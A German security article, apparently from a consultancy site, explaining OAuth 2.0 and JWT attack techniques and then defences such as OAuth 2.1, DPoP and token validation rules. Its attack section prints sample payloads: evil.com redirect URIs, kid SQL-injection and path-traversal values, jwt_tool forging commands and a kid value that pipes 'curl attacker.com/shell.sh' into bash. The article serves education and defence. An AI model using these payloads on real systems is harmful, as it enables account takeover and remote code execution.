OAuth 2.0 und JWT sind allgegenwärtig — und jede Fehlkonfiguration öffnet die Tür zu vollständiger Account-Übernahme.
OAuth 2.0 Flow Exploitation — Schwachstellen in der Autorisierungskette
OAuth 2.0 definiert mehrere Grant Types (Authorization Code, Implicit, Client Credentials, Device Code, ROPC), die jeweils eigene Angriffsvektoren aufweisen. Der Authorization Code Flow ist der sicherste und am weitesten verbreitete — dennoch bietet er Angriffsoberflächen an drei kritischen Punkten: der redirect_uri-Validierung, dem Authorization Code-Transport und dem State-Parameter (CSRF-Schutz). Ein Angreifer, der einen dieser Punkte kompromittiert, erhält ein OAuth-Token mit den Berechtigungen des Opfers.
- redirect_uri-Manipulation — der häufigste OAuth-Angriff: Der Authorization Server sendet den Authorization Code an die in
redirect_uriangegebene URL. Wenn die Validierung zu lax ist, kann der Angreifer den Code an seine eigene Domain umleiten. Bypass-Techniken: Open Redirect Chaining — eine legitime redirect_uri wiehttps://app.com/callbackakzeptiert Open Redirects (z. B.https://app.com/callback?next=https://evil.com), der Auth Code wird an evil.com weitergeleitet. Subdomain Matching — der Server validiert nur die Domain, nicht den vollständigen Pfad:https://evil.app.com/stealwird akzeptiert, wenn*.app.comregistriert ist. Path Traversal:https://app.com/callback/../../../evilumgeht pfadbasierte Validierung. Fragment-basierter Leak: Im Implicit Flow wird das Token als URL-Fragment (#access_token=...) an die redirect_uri angehängt — JavaScript auf der Zielseite kann es lesen, auch bei Subdomain-Takeover. - PKCE Bypass & Authorization Code Interception: PKCE (Proof Key for Code Exchange) schützt den Authorization Code vor Interception: Der Client generiert einen
code_verifier(zufälliger String) und sendet dessen SHA256-Hash (code_challenge) mit der Autorisierungsanfrage. Beim Token-Exchange muss der originalecode_verifiermitgesendet werden — ein abgefangener Code ist ohne Verifier wertlos. Bypasses: Downgrade-Angriff — wenn der Server PKCE nicht erzwingt, kann der Angreifer diecode_challengeeinfach weglassen. Viele OAuth-Server unterstützen PKCE, erzwingen es aber nicht für Backward-Compatibility. code_challenge_method=plain: Statt S256 (SHA256-Hash) wirdplainverwendet — der code_verifier ist identisch mit der code_challenge und kann vom Angreifer aus der initialen Request extrahiert werden. Authorization Code Replay: Einige Server invalidieren den Code nach dem ersten Exchange nicht sofort — ein abgefangener Code kann innerhalb eines kurzen Zeitfensters mehrfach verwendet werden. - Consent Phishing — Illicit Consent Grant in Azure AD: Der Angreifer registriert eine bösartige Azure AD Application und sendet dem Opfer einen OAuth-Consent-Link, der umfangreiche Berechtigungen anfordert:
Mail.Read,Files.ReadWrite.All,User.Read. Das Opfer sieht die Microsoft-Login-Seite (legitim), authentifiziert sich mit MFA und klickt „Zustimmen“ — der Angreifer erhält ein Refresh Token mit diesen Berechtigungen, das bis zu 90 Tage gültig ist. Anders als bei Credential-Phishing hat der Angreifer keinen Zugriff auf das Passwort, aber dauerhaften API-Zugriff auf E-Mails und Dateien. Tools: 365-Stealer automatisiert den gesamten Prozess (App-Registrierung, Phishing-Link-Generierung, Token-Harvesting). Schutz: Admin Consent Workflow in Entra ID aktivieren — Benutzer können Apps nicht selbständig Berechtigungen gewähren, sondern müssen dies beim Admin beantragen. - Device Code Phishing & SSRF via OAuth Callback: Der Device Code Flow (RFC 8628) ermöglicht dem Angreifer, ein Token zu erhalten, ohne einen eigenen Server oder eine redirect_uri zu benötigen. Der Angreifer generiert einen Device Code über die
/devicecode-API, erhält einen kurzen alphanumerischen Code und sendet ihn per Phishing an das Opfer. Das Opfer navigiert zumicrosoft.com/devicelogin, gibt den Code ein und authentifiziert sich. Der Angreifer pollt den Token-Endpunkt und erhält das Token. SSRF via OAuth: In Anwendungen, die OAuth Server-to-Server implementieren, sendet der Server HTTP-Requests an den konfigurierten Authorization Server. Wenn der Angreifer denauthorization_endpointodertoken_endpointin der OpenID Discovery-Konfiguration (.well-known/openid-configuration) manipulieren kann, werden Server-seitige Requests an beliebige interne URLs gesendet — klassische SSRF. Erkennung:AuditLogs | where OperationName == "Consent to application" | where TargetResources contains "unknown publisher".
JWT-Angriffe & Token Manipulation — kryptografische Schwachstellen ausnutzen
JSON Web Tokens (JWT, RFC 7519) werden von OAuth 2.0 als Access Tokens und ID Tokens verwendet. Ein JWT besteht aus drei Base64url-kodierten Teilen: Header (Algorithmus, Key-ID), Payload (Claims: sub, iss, exp, aud) und Signatur. Die Sicherheit hängt vollständig von der korrekten Signaturvalidierung ab — und genau hier liegen die gefährlichsten Schwachstellen. JWT-Bibliotheken haben eine lange Geschichte von Implementierungsfehlern, die Token-Fälschung ermöglichen.
- Algorithm Confusion (RS256 zu HS256) — der klassische JWT-Angriff: Der Server signiert Tokens mit RS256 (RSA + SHA256, asymmetrisch) — der private Schlüssel signiert, der öffentliche Schlüssel verifiziert. Der Angriff: Der Angreifer ändert den
alg-Header vonRS256aufHS256(HMAC + SHA256, symmetrisch). Wenn die JWT-Bibliothek den Algorithmus aus dem Header liest und dynamisch anwendet, wird der öffentliche RSA-Schlüssel (der öffentlich bekannt ist) als HMAC-Secret verwendet. Der Angreifer signiert sein gefälschtes Token mit dem öffentlichen Schlüssel als HMAC-Key — der Server validiert es als gültig. Tool:jwt_tool -X k -pk public_key.pem [token]. Schutz: Algorithmus serverseitig fest kodieren, niemals denalg-Header aus dem Token lesen. In Node.js:jwt.verify(token, key, {algorithms: ['RS256']}). - none Algorithm & JWK Header Injection: Der none-Algorithmus ist laut RFC 7519 ein gültiger Wert für unsignierte Tokens. Einige Bibliotheken akzeptieren
"alg":"none"und überspringen die Signaturvalidierung vollständig — der Angreifer kann beliebige Claims setzen. Varianten:"alg":"None","alg":"NONE","alg":"nOnE"— Case-sensitive Checks werden umgangen. JWK Header Injection: Der JWT-Header kann einjwk-Feld enthalten, das den öffentlichen Schlüssel zur Signaturvalidierung inline enthält. Wenn der Server diesen Schlüssel ohne Validierung gegen eine Allowlist akzeptiert, kann der Angreifer: ein eigenes RSA-Schlüsselpaar generieren, den öffentlichen Schlüssel imjwk-Header einbetten, das Token mit dem eigenen privaten Schlüssel signieren — der Server extrahiert den öffentlichen Schlüssel aus dem Token selbst und validiert die Signatur erfolgreich. Analoger Angriff: jku (JWK Set URL) — der Server lädt den Schlüssel von einer URL, die der Angreifer kontrolliert. - Key-ID (kid) Injection & SQL/Path Traversal: Der
kid(Key ID)-Header identifiziert den Schlüssel, der zur Signaturvalidierung verwendet werden soll. Wenn der Server denkid-Wert direkt in eine Datenbankabfrage oder einen Dateipfad einfügt, entstehen kritische Injection-Schwachstellen. SQL Injection:"kid": "' UNION SELECT 'attackerkey' -- "— der Server lädt den vom Angreifer kontrollierten Schlüssel aus der Datenbank. Path Traversal:"kid": "../../../dev/null"—/dev/nullgibt einen leeren String zurück, der Angreifer signiert mit einem leeren HMAC-Secret. Command Injection: In einigen Implementierungen wird derkid-Wert an einen Shell-Befehl übergeben:"kid": "key1; curl attacker.com/shell.sh | bash". Tool: jwt_tool automatisiert alle diese Angriffe:jwt_tool [token] -I -hc kid -hv "../../dev/null" -S hs256 -p "". - Token Replay, Session Fixation & Claim Manipulation: Token Replay: JWTs sind Bearer Tokens — wer das Token hat, hat den Zugriff, unabhängig davon, woher es stammt. Ohne Token Binding (RFC 8471) oder DPoP (Demonstrating Proof-of-Possession) kann ein abgefangenes Token von jedem Gerät aus verwendet werden. Abfangvektoren: Referrer-Leak (Token in URL-Parametern wird im Referrer-Header an Drittseiten gesendet), Browser History (Implicit Flow Tokens in der URL), Server-Side Request Logging (Tokens in Server-Logs). Claim Manipulation: Nach einem Algorithm-Confusion-Angriff kann der Angreifer beliebige Claims setzen:
"role":"admin","tenant_id":"other_tenant","scope":"openid profile email Mail.ReadWrite". Multi-Tenant-Anwendungen sind besonders gefährdet, da ein manipuliertertid-Claim Zugriff auf Daten anderer Organisationen ermöglichen kann. Schutz: Claims serverseitig validieren, nicht nur die Signatur — insbesondereiss,aud,expundnbf.
Sichere OAuth-Implementierung — Defense-in-Depth für Token-basierte Systeme
Die Absicherung von OAuth 2.0 und JWT erfordert ein tiefes Verständnis der aktuellen Best Practices — viele Empfehlungen aus älteren OAuth-Tutorials sind heute veraltet und unsicher. Die OAuth 2.1-Spezifikation (Draft) konsolidiert die Sicherheitsempfehlungen und verbietet unsichere Patterns (Implicit Flow, ROPC). Zusätzlich bieten DPoP und Sender-Constrained Tokens Schutz vor Token Replay — Technologien, die in Unternehmensumgebungen noch selten implementiert werden.
- OAuth 2.1 & Security Best Current Practice (BCP): OAuth 2.1 (RFC Draft) fasst die Sicherheitsempfehlungen der letzten 10 Jahre zusammen: Implicit Flow verboten — Tokens dürfen nicht mehr über URL-Fragmente transportiert werden (Referrer-Leak, Browser-History-Risiko). ROPC (Resource Owner Password Credentials) verboten — Passwörter dürfen nicht mehr direkt an den Token-Endpunkt gesendet werden. PKCE verpflichtend für alle Authorization Code Flows, nicht nur für Public Clients. redirect_uri exact match — keine Wildcard-Matching, kein Subdomain-Matching, exakte String-Übereinstimmung erforderlich. Refresh Token Rotation — bei jedem Refresh wird ein neues Refresh Token ausgestellt, das alte wird invalidiert — ein gestohlenes Refresh Token kann nur einmal verwendet werden. Implementierung: Verwenden Sie ausschliesslich den Authorization Code Flow mit PKCE für alle Clients (auch Server-seitige Anwendungen).
- DPoP (Demonstrating Proof-of-Possession) — Token Binding der nächsten Generation: DPoP (RFC 9449) bindet ein OAuth-Token kryptografisch an den Client, der es angefordert hat. Mechanismus: Der Client generiert ein asymmetrisches Schlüsselpaar und sendet den öffentlichen Schlüssel im
DPoP-Header bei der Token-Anfrage. Der Authorization Server bindet das Token an diesen öffentlichen Schlüssel (über dencnf-Claim im JWT). Bei jeder API-Anfrage sendet der Client einen DPoP Proof JWT — signiert mit dem privaten Schlüssel — zusammen mit dem Access Token. Der Resource Server validiert, dass der DPoP Proof zum Access Token gehört. Ergebnis: Ein gestohlenes Token ist ohne den privaten Schlüssel wertlos — Token Replay wird effektiv verhindert. Entra ID unterstützt DPoP seit 2024 für Public Client Flows. Konfiguration:tokenBindingType: ssPopin der App-Registrierung. - JWT-Validierung — die zehn Gebote der Token-Prüfung: Jede JWT-validierende Anwendung muss diese Prüfungen implementieren: 1. Algorithmus fest kodieren, niemals aus dem Token-Header lesen. 2.
none-Algorithmus explizit ablehnen. 3.iss(Issuer) gegen eine Allowlist prüfen. 4.aud(Audience) muss exakt die eigene Client-ID enthalten. 5.exp(Expiration) prüfen mit maximalem Clock Skew von 30 Sekunden. 6.nbf(Not Before) prüfen. 7.sub(Subject) nicht blind als Identität akzeptieren — mit der lokalen Benutzerdatenbank korrelieren. 8.kidnur gegen eine lokale Key-Registry auflösen, keine externen URLs oder Dateipfade. 9. Token-Grösse begrenzen (DoS-Schutz — ein JWT mit 10 MB Payload kann den Parser überlasten). 10. JWKS-Endpunkt cachen und nur über HTTPS mit Certificate Pinning abrufen. Libraries: Verwenden Sie jose (Node.js), PyJWT (Python) oder nimbus-jose-jwt (Java) in der jeweils aktuellen Version. - Monitoring & Anomalie-Erkennung für OAuth-Systeme: Token-Lebenszyklus überwachen: Erstellen Sie Dashboards für Token-Ausstellungsraten, Refresh-Token-Nutzung und Consent-Grant-Events. Anomalien: Massenhafte Token-Anfragen von einer IP (Brute-Force), Token-Exchange von ungewöhnlichen Standorten (Impossible Travel), Refresh Token Replay (dasselbe Refresh Token wird von zwei verschiedenen IPs verwendet — Token-Theft-Indikator). Sentinel/SIEM Detection Rules: Überwachen Sie
AuditLogsauf"Consent to application"Events mit unbekanntem Publisher — Consent-Phishing-Indikator. Überwachen SieServicePrincipalSignInLogsauf anomale Client-Credential-Anmeldungen. Implementieren Sie Conditional Access mit Sign-in Risk (Entra ID P2) — riskante Anmeldungen erzwingen Step-up Authentication oder werden blockiert. Für selbst entwickelte OAuth-Server: Implementieren Sie Rate Limiting auf dem Token-Endpunkt und Abuse Detection auf dem Authorization-Endpunkt (identische state-Werte, wiederholte Anfragen mit verschiedenen redirect_uris).
← Vorheriger Artikel
ESXi & Hypervisor Exploitation
Nächster Artikel →
Memory Forensics & Volatility
Sie benötigen Unterstützung?
OAuth- und JWT-Schwachstellen sind eine der häufigsten Ursachen für Datendiebstahl in modernen Anwendungen. Wir führen OAuth-Security-Assessments durch, implementieren PKCE und DPoP, konfigurieren Consent-Policies in Entra ID und erstellen Detection Rules für Token-basierte Angriffe.
Security & Firewall ansehen →
